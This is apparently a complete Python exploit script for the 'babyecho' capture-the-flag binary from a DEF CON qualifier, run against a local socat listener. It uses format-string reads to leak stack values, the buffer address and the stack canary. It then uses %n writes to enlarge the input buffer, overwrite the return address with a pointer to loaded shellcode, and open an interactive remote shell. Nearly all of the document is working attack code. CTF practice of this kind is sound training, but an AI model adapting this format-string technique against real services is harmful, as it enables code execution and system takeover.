
#target = ("babyecho_eb11fdf6e40236b1a37b7974c53b6c3d.quals.shallweplayaga.me", 3232)
target = ('localhost', 1337)
# use socat tcp4-l:1337,bind=127.0.0.1,reuseaddr,fork exec:'./babyecho_eb11fdf6e40236b1a37b7974c53b6c3d'  to run babyecho listening on a network port

def receive(source):
	try:
		response = source.recv(65536)
		#print(response)
		return response
	except:
		return b''

def recvToDevNull(socket):
	try:
		response = socket.recv(2000)
	except Exception as e:
		pass

def makeRequestBinary(req, socket):
	recvToDevNull(socket)
	socket.send(req + b"\n")
	response = receive(socket)
	return response
	
def makeRequest(req, socket):
	return makeRequestBinary(req.encode('ASCII'), socket)

import binascii
def getValueFromStack(position, socket):
	response = makeRequest("%" + str(position) + "$08x", socket)
	response = binascii.unhexlify(response[0:8])
	response = bytearray(response)
	response.reverse() # Byte order correction
	return response

def getIntFromStack(position, socket):
	return int.from_bytes(getValueFromStack(position, socket), byteorder='little')

#skrews the 3 bytes after the data being written
#bufferOffsetFromStackPointer is the difference of the buffer address and esp in four-byte-words.
def writeDataToAddress(bufferOffsetFromStackPointer, data, address, socket):
	
	# create a string of the addresses of all bytes being overwritten
	addresses = b""
	for i in range(address, address + len(data)):
		addresses += i.to_bytes(4, byteorder='little')
	
	# create conversions to actually overwrite the data
	currentLength = len(addresses)
	conversions = ""
	for i in range(0, len(data)):
		
		# compute the number of characters that need to be output
		requiredOutputLength = int.from_bytes(data[i:i+1], byteorder='little')
		requiredPadding = requiredOutputLength - (currentLength % 256)
		if requiredPadding < 0: requiredPadding += 256
		
		# make the server output as many bytes
		if (requiredPadding > 5):
			conversions += "%1$0" + str(requiredPadding) + "x"
			currentLength += requiredPadding
		elif requiredPadding > 0:
			conversions += "A" * requiredPadding
			currentLength += requiredPadding
		
		# make the server overwrite the data
		conversions += "%" + str(bufferOffsetFromStackPointer + i) + "$n"
	
	request = addresses + conversions.encode('ASCII')
	
	# EXECUTE!
	assert(request.find(b'\n') == -1)
	response = makeRequestBinary(request, socket)

def getWordsFromStack(offsetFromStackPointer, length, socket):
	
	#could be optimized
	r = b''
	for i in range(length):
		r += getValueFromStack(offsetFromStackPointer + i, socket)
	return r

def readBytesFromMemory(bufferOffsetFromStackPointer, bufferAddress, address, length, socket):
	
	offset = address - bufferAddress
	numberOfPrefixBytes = offset - (offset // 4) * 4
	startIndex = bufferOffsetFromStackPointer + (offset - numberOfPrefixBytes) // 4
	numberOfWords = (length // 4) + 2
	
	response = getWordsFromStack(startIndex, numberOfWords, socket)
	response = response[numberOfPrefixBytes:numberOfPrefixBytes + length]
	
	return response

def quitEcho():
	writeDataToAddress(7, b'1', buffer_address - 4, s)
	writeDataToAddress(7, b'1', buffer_address - 16, s)
	

import socket
def connect():
	s = socket.create_connection(target)
	s.settimeout(0.25)
	return s

if __name__ == "__main__":
	s = connect()
	
	#first, leak some data
	zero = getIntFromStack(3, s)
	assert(zero == 0)
	
	bufsize = getIntFromStack(4, s)
	print("buffer size:" + hex(bufsize))
	
	buffer_address = getIntFromStack(5, s)
	print("buffer address: " + hex(buffer_address))
	
	zero = getIntFromStack(6, s)
	assert(zero == 0)
	
	bufferContent = getValueFromStack(7, s)
	print(bufferContent)
	
	#make some more room (increase the maximum amount of receivable bytes)
	bufsize_address = buffer_address - 12
	bufsize_address_as_bytes = bufsize_address.to_bytes(4, byteorder='little')
	print("bufsize address: " + hex(bufsize_address))
	
	assert(buffer_address >= 1 << 30)
	# if buffer address >= 2^(30), then it takes at least 11 digits to represent in octal (given that it is a 32-bit integer, it takes exactly 11 bytes)
	conversions = b"%5$o%7$n"
	#conversions = b"%5$s%7$n"
	request = bufsize_address_as_bytes + conversions
	# the total number of bytes will be: 4 (bufsize_address) + 11 (buffer_address in octal) = 15
	# this will be overwritten to bufsize by the %7$n conversion
	makeRequestBinary(request, s)
	
	#make more room
	request = bufsize_address_as_bytes + b"AA" + conversions
	makeRequestBinary(request, s)
	request = bufsize_address_as_bytes + b"AAAA" + conversions
	makeRequestBinary(request, s)
	
	# now we can make a LOT of room
	conversions = b"%5$02048x%7$n"
	request = bufsize_address_as_bytes + conversions
	makeRequestBinary(request, s)
	
	#find the address where the return address is stored
	print("some values stored on the stack behind the buffer: ")
	for i in range(0,8):
		t = getIntFromStack(1024//4 + 7 + i, s)
		print('position ' + str(i) + ': ' + hex(t))
	
	#get stack canary
	stack_canary = getValueFromStack(1024//4 + 7, s)
	print(b"stack canary: " + stack_canary)
	
	#now build the exploit!
	shellcode = open('shellcode', 'rb').read()
	loadingPosition = buffer_address + 1024 - len(shellcode)
	exploit = shellcode + stack_canary
	exploit += b'\x00'*8 # skip some bytes (due to alignment of the stack pointer)
	exploit += b'\x00'*4 # overwrite saved base pointer (with anything)
	exploit += loadingPosition.to_bytes(4, 'little') # overwrite return address
	
	#send exploit
	writeDataToAddress(7, exploit, loadingPosition, s)
	
	#quit the babyecho loop to make the binary execute the shellcode
	quitEcho()
	
	# now, the server should open up a shell
	print("You should now have a shell:")
	import telnetlib
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()
	
	print(s.recv(1000))
	
	s.close()
	
